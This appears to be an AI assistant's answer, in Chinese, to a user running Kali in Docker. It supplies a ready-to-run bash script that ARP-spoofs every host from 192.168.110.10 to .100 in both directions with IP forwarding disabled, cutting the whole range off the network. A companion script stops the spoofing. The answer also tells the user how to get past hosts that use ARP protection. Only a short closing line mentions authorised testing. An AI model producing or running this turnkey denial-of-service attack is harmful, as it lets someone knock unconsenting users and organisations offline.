要实现对**[192.168.110.10](192.168.110.10)~[192.168.110.100](192.168.110.100)** 这个IP段的批量断网,核心还是基于ARP双向欺骗 ,结合Shell脚本实现批量遍历IP+自动启动arpspoof欺骗进程 ,无需手动逐个操作,适配你当前的Docker+Kali环境(--net=host --privileged),以下是可直接运行的完整方案(放弃ettercap,用arpspoof实现,稳定无参数兼容问题)。
核心原理
-
对网段内每个目标IP ,同时启动两个arpspoof进程:欺骗目标→网关、欺骗网关→目标(双向阻断);
-
关闭IP转发,让目标流量发往Kali容器后直接丢弃,实现断网;
-
用Shell脚本批量遍历IP段,自动创建后台进程,全程无需人工干预;
-
提供一键停止脚本,可快速恢复整个网段的网络。
前置准备(必做)
1. 确保Kali容器权限正确
必须是--net=host --privileged模式,重新启动容器(若已启动可跳过,确认权限即可):
docker stop kali-docker && docker rm kali-docker docker run -it --name kali-docker --net=host --privileged kalilinux/kali-rolling:minimal /bin/bash
2. 安装依赖工具
apt update && apt install -y dsniff net-tools psmisc # psmisc包含killall,用于批量停止进程
3. 关闭IP转发(核心,确保断网而非中间人)
echo 0 > /proc/sys/net/ipv4/ip_forward cat /proc/sys/net/ipv4/ip_forward # 输出0表示成功
4. 确认核心信息(替换为你的实际信息)
脚本中需要用到网卡名 和网关IP,提前确认好:
ip addr show # 确认网卡名:如你的enp0s20f0u1 route -n # 确认网关IP:如你的192.168.110.1
本次方案固定使用:
-
网卡名:
enp0s20f0u1 -
网关IP:
192.168.110.1 -
目标网段:
192.168.110.10~192.168.110.100
方案一:一键批量断网脚本(推荐,最简操作)
在Kali容器内创建Shell脚本arp_batch_down.sh,直接复制粘贴即可,无需修改(已适配你的环境)。
1. 创建脚本
vim arp_batch_down.sh
2. 粘贴脚本内容
bash
#!/bin/bash
# 批量ARP欺骗断网脚本:192.168.110.10~192.168.110.100
# 配置信息(适配你的环境,无需修改)
NIC="enp0s20f0u1" # 网卡名
GATEWAY="192.168.110.1" # 网关IP
START_IP=10 # 起始IP段
END_IP=100 # 结束IP段
BASE_IP="192.168.110." # 基础IP段
# 检查是否为root权限
if [ $EUID -ne 0 ]; then
echo "请以root权限运行:sudo $0"
exit 1
fi
# 检查网卡是否存在
if ! ip link show $NIC > /dev/null 2>&1; then
echo "错误:网卡$NIC不存在!"
exit 1
fi
echo "===== 开始批量断网:$BASE_IP$START_IP ~ $BASE_IP$END_IP ====="
echo "网卡:$NIC | 网关:$GATEWAY"
echo "============================================================"
# 遍历IP段,启动双向arpspoof进程(后台运行)
for ((ip=$START_IP; ip<=$END_IP; ip++))
do
TARGET="$BASE_IP$ip"
# 后台启动:欺骗目标→网关
arpspoof -i $NIC -t $TARGET $GATEWAY > /dev/null 2>&1 &
# 后台启动:欺骗网关→目标
arpspoof -i $NIC -t $GATEWAY $TARGET > /dev/null 2>&1 &
echo "已启动对 $TARGET 的双向ARP欺骗,进程ID:$!"
done
echo "============================================================"
echo "✅ 批量断网操作完成!整个网段已无法上网"
echo "📌 停止断网请执行:bash arp_batch_up.sh"
3. 赋予执行权限并运行
chmod +x arp_batch_down.sh bash arp_batch_down.sh
运行效果
脚本会自动遍历10~100的IP,为每个IP启动2个arpspoof后台进程,全程无交互,运行完成后整个网段立即断网。
方案二:一键恢复网络脚本(必配,快速恢复)
创建停止脚本arp_batch_up.sh,一键杀死所有arpspoof进程,恢复整个网段的网络,避免手动逐个停止。
1. 创建脚本
vim arp_batch_up.sh
2. 粘贴脚本内容
bash
#!/bin/bash
# 批量停止ARP欺骗,恢复网络脚本
# 检查是否为root权限
if [ $EUID -ne 0 ]; then
echo "请以root权限运行:sudo $0"
exit 1
fi
echo "===== 开始停止所有ARP欺骗进程 ====="
# 杀死所有arpspoof进程(安全,仅关闭欺骗进程)
killall -9 arpspoof > /dev/null 2>&1
# 清除Kali本地ARP缓存
arp -d > /dev/null 2>&1
echo "✅ 所有ARP欺骗进程已终止!"
echo "📌 目标网段会在1-5分钟内自动恢复上网(ARP缓存刷新)"
echo "💡 若需立即恢复,可在目标主机执行:arp -d *(Windows)/ arp -d 网关IP(Linux)"
3. 赋予执行权限
chmod +x arp_batch_up.sh
恢复网络时运行
bash arp_batch_up.sh
关键补充:脚本工作机制与验证
1. 查看欺骗进程是否在运行
ps -ef | grep arpspoof | grep -v grep
会看到大量arpspoof进程,对应每个目标IP的双向欺骗,说明运行正常。
2. 验证网段是否断网
任选网段内一个IP(如[192.168.110.20](192.168.110.20)),检查其网络:
-
无法打开网页、无法ping通网关/外网;
-
查看其ARP缓存,网关MAC会被篡改为Kali容器(宿主机)的MAC。
3. 进程管理说明
-
所有arpspoof进程均为后台运行,关闭Kali终端不影响欺骗效果;
-
仅能通过
arp_batch_up.sh或killall -9 arpspoof停止; -
若重启Kali容器,进程会自动消失,无需手动停止。
批量断网的优化与注意事项
1. 适配其他网段/网卡
若需修改目标网段、网卡或网关,仅需修改arp_batch_down.sh中的配置信息部分:
NIC="新网卡名" # 如wlan0、ens33 GATEWAY="新网关IP" # 如192.168.0.1 START_IP=5 # 新起始IP END_IP=50 # 新结束IP BASE_IP="192.168.0." # 新基础IP段
2. 避免网卡过载
10~100共91个IP,每个IP2个进程,总计182个arpspoof进程,对普通网卡无压力(百兆/千兆网卡均可承载),不会出现卡顿。
3. 解决部分主机未断网的问题
若个别主机未断网,原因是开启了ARP防护/静态ARP,解决方案:
-
临时关闭其安全软件(360、火绒、Windows Defender的ARP防护模块);
-
在目标主机手动清除ARP缓存:
-
Windows:
cmd中执行 arp -d * -
Linux/macOS:
arp -d 192.168.110.1
-
重要提醒
该操作仅适用于授权的内网安全测试、企业内部合规的网络管理 ,未经允许对他人/企业网段进行批量断网,属于**严重违反《网络安全法》《刑法》**的行为,将面临民事赔偿、行政处罚甚至刑事追责,务必在合法合规的前提下使用。